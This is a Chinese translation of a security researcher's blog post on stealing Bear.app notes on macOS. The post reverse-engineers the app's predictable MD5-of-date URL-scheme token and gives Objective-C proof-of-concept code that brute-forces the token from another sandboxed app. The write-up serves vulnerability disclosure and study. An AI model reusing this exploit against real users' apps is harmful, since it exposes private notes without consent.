译文声明
本文是翻译文章,文章原作者Wojciech Reguła 文章来源:https://wojciechregula.blog
原文地址:https://wojciechregula.blog/post/stealing-bear-notes-with-url-schemes/
译文仅供参考,具体内容表达以及含义原文为准
认识我的读者也可能知道我喜欢我使用的测试软件。就是这个时候。我想将所有混乱存储的笔记收集到Apple Notes,docx文件,txt等中。我考虑了许多不同的注释应用程序,但最终我选择了Bear.app。贝尔提供了很酷的主题标签系统,降价标记法和语法突出显示功能,这些都让我感到非常满意。Bear还在App Store生产力应用程序中排名前10位!
勘探
我开始阅读文档。过了一段时间,我偶然看到一篇有趣文章。
Bear支持应用间通信。因为使用URL模式被提到是一种单向通信机制,所以它实现了一个称为x-callback-url的标准。这个标准允许应用程序之间使用以下算法进行双向通信:
- 应用程式A开启appB://x-callback-url/action?parameter1=do_something&x-source=appA&x-success=appA://x-callback-url/success
- 打开应用B,传递查询字符串,执行操作。
- 然后,应用B获取x成功参数值并打开appA://x-callback-url/success?success_parameter1=...
瞧!我们有基于URL方案的双向应用程序间通信。
现在,看看我们可以使用这些方案执行的操作。其中一些需要在Bear的第一次运行中生成的令牌。
|不需要令牌|需要令牌|
|-|-|
|/open-note|/tags|
|/create|/open-tag|
|/add-text|/untagged|
|/add-file|/todo|
|/rename-tag|/today|
|/delete-tag|/search|
|/trash||
|/archive||
|/grab-url||
|/change-theme||
|/change-font||
如您所见,/trash之类的一些重要操作不需要令牌,但是需要将注释UID作为参数。因此,如果您要滥用/trash操作,则需要使用/search(这将返回便笺UID),然后再执行trash操作。为此,我们需要授权令牌…
分析令牌生成机制
让逆转开始吧。复制/Applications/Bear.app/Contents/MacOS/Bear到临时位置,然后使用Hopper将其打开。我们正在寻找令牌生成方法。因此,只需要搜索一个令牌字符串!
找到了。现在,是时候看看到底是什么方法使用了==generateToken==字符串。结果是==generateToken==是我们要找的方法的名称。Hopper很好地处理了Objective-C代码,所以我们生成伪代码,如下所示。
嗯!它以某种方式选择格式化的日期,使用CC_MD5()函数,进行一些二进制操作,并将其保存为字符串。由于令牌不是随机生成的,因此看起来不太安全。我们必须看看通话结果如何==[SFDateHelper currentDateWithFormat:0x0];==。为此,我们使用修改的密码基于Frida引擎的版本。注入Bear过程很简单,只需将其名称通过-p参数。
```
Sztajger:frida-cycript wojciechregula$ ./cycript -p Bear
cy# [SFDateHelper currentDateWithFormat:0x0];
@"27 Feb 2019 at 00:41"
```
现在我们可以看到输入日期由dd-MMM-yyyy:hh-mm组成。暴力破解范围不大,所以让我们来写一个漏洞利用吧!
开发漏洞
在我们开始写这个漏洞之前,请注意,它将涵盖从另一个沙箱应用(通常是从app Store下载)角度进行的漏洞利用。nsandboxed应用程序可以在没有这个魔法的情况下访问Bear的资源,除非你加密你的笔记。
让我们讨论该漏洞利用程序的体系结构。这仅是概念验证/需要有效令牌的搜索/搜索操作。为此,我们需要创建一个Cocoa应用程序,因为它会注册一个URL方案,然后由应用程序委托处理。当我们的漏洞利用程序启动时,它需要开始暴力破解。假如说==viewDidLoad==(ViewController)将开始攻击,==handleURLEvent==(AppDelegate)将停止它(因为找到令牌后我们不想继续利用该漏洞)。由于这两个方法将使用同一对象,因此我决定创建一个利用以下声明的单例类的利用模块:
```
@interface Bruteforcer : NSObject
@property NSString *base_url;
@property BOOL isBruteforced;
-
(id)getInstance;
-
(void)searchWithTag:(NSString)tag term:(NSString)term token:(NSString*)token;
- (void)bruteforceToken;
- (NSString)generateTokenForDate:(NSDate)dateFrom;
- (NSDate*)getInstallationDate;
- (void)start;
@end
```
改建==generateToken==方法
```
- (NSString )generateTokenForDate:(NSDate )dateFrom {
NSDateFormatter *df = [NSDateFormatter new];
[df setDateFormat:@"MMM"];
NSString *month = [df stringFromDate:dateFrom];
NSCalendar *calendar = [NSCalendar currentCalendar];
NSDateComponents *c = [calendar components:(NSCalendarUnitYear | NSCalendarUnitDay | NSCalendarUnitHour | NSCalendarUnitMinute) fromDate:dateFrom];
NSString* date = [NSString stringWithFormat:@"%d %@ %d at %d:%d", (int)[c day], month, (int)[c year], (int)[c hour], (int)[c minute]];
const char *str = [date UTF8String];
unsigned char *result = malloc(16);
CC_MD5(str, (unsigned int)strlen(str), result);
unsigned char t1 = *(int8_t *)(result + 0x1) & 0xff;
unsigned char t2 = *(int8_t *)(result + 0x9) & 0xff;
unsigned char t3 = *(int8_t *)(result + 0x4) & 0xff;
unsigned char t4 = *(int8_t *)(result + 0x6) & 0xff;
unsigned char t5 = *(int8_t *)(result + 0x3) & 0xff;
unsigned char t6 = *(int8_t *)(result + 0x8) & 0xff;
unsigned char t7 = *(int8_t *)(result + 0x5) & 0xff;
unsigned char t8 = *(int8_t *)(result + 0xc) & 0xff;
unsigned char t9 = *(int8_t *)(result + 0xf) & 0xff;
NSString *token = [NSString stringWithFormat:@"%02X%02X%02X-%02X%02X%02X-%02X%02X%02X", t1, t2, t3, t4, t5, t6, t7, t8, t9];
free(result);
return token;
}
```
注册URL方案
就像在Xcode中添加条目一样简单->工程档案->信息-> URL类型
处理传入的URL调用
我们需要添加==handleURLMethod==在==AppDelegate.m==。调用此URL时,这意味着/ search操作已在Bear中成功执行,并且令牌被强制执行。我们改变==isBruteforced==属性将在暴力破解模块中处理。
```
- (void)handleURLEvent:(NSAppleEventDescriptor )theEvent withReplyEvent:(NSAppleEventDescriptor )replyEvent
{
NSString *path = [[theEvent paramDescriptorForKeyword:keyDirectObject] stringValue];
if(![path hasPrefix:@"bearinfiltrator://error"]) {
// stop bruteforcing
Bruteforcer *bruteforcer = [Bruteforcer getInstance];
bruteforcer.isBruteforced = YES;
NSAlert *alert = [[NSAlert alloc] init];
[alert setMessageText:[NSString stringWithFormat:@"App received following information: %@", path]];
[alert addButtonWithTitle:@"OK"];
[alert runModal];
}
}
```
实施/搜索调用
```
- (void)searchWithTag:(NSString )tag term:(NSString )term token:(NSString *)token {
NSString *query = [NSString stringWithFormat:@"search?term=%@&tag=%@&token=%@&show_window=no&x-source=BearInfiltrator&x-success=bearinfiltrator://success&x-error=bearinfiltrator://error", term, tag, token];
NSURL *url = [NSURL URLWithString:[NSString stringWithFormat:@"%@%@", self.base_url, query]];
NSWorkspace *workspace = [NSWorkspace sharedWorkspace];
[workspace openURL:url];
}
```
获取安装日期
在开始进行暴力破解之前,最好对其进行优化。在安装Bear之前无法创建应用程序令牌。因此,我将实现一种方法,该方法将获取Bear.app目录的创建日期(即使是沙盒应用也可以检查该日期)。
```
- (NSDate )getInstallationDate {
NSFileManager fm = [NSFileManager defaultManager];
NSString *filePath = @"/Applications/Bear.app";
if ([fm fileExistsAtPath:filePath]) {
NSDictionary *attributes = [fm attributesOfItemAtPath:filePath error:nil];
NSDate *creationDate = attributes[NSFileCreationDate];
return creationDate;
}
return nil;
}
```
暴力破解模块
Bruteforcing模块将在日期上迭代,每次迭代增加1分钟
```
- (void)bruteforceToken {
NSDate *dateFrom = [self getInstallationDate];
NSDate *dateTo = [NSDate new];
NSTimeInterval ti = 60;
do {
if(!isBruteforced) {
NSString *tmp_token = [self generateTokenForDate:dateFrom];
[self searchWithTag:@"secret" term:@"" token:tmp_token];
} else {
return;
}
dateFrom = [dateFrom dateByAddingTimeInterval:ti];
NSLog(@"%@", dateFrom);
} while ([dateFrom compare:dateTo] == NSOrderedAscending);
NSAlert *alert = [[NSAlert alloc] init];
[alert setMessageText:@"Bruteforce failed"];
[alert addButtonWithTitle:@"OK"];
[alert runModal];
}
```
其他模块相当明显,因此此处不值得描述。如果您有兴趣查看完整的漏洞利用程序,请在Twitter上ping我。
结果
运行漏洞利用几秒钟后,传入消息来了!我们设法将令牌强行使用。
改进措施
这次开发真的很吵。在强行使用令牌的同时,它不断地改变Bear和exploit之间的焦点。然而,假设用户在安装1天后第一次打开Bear,那么强行暴力将花费几秒钟(在我的情况下为2-3)。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论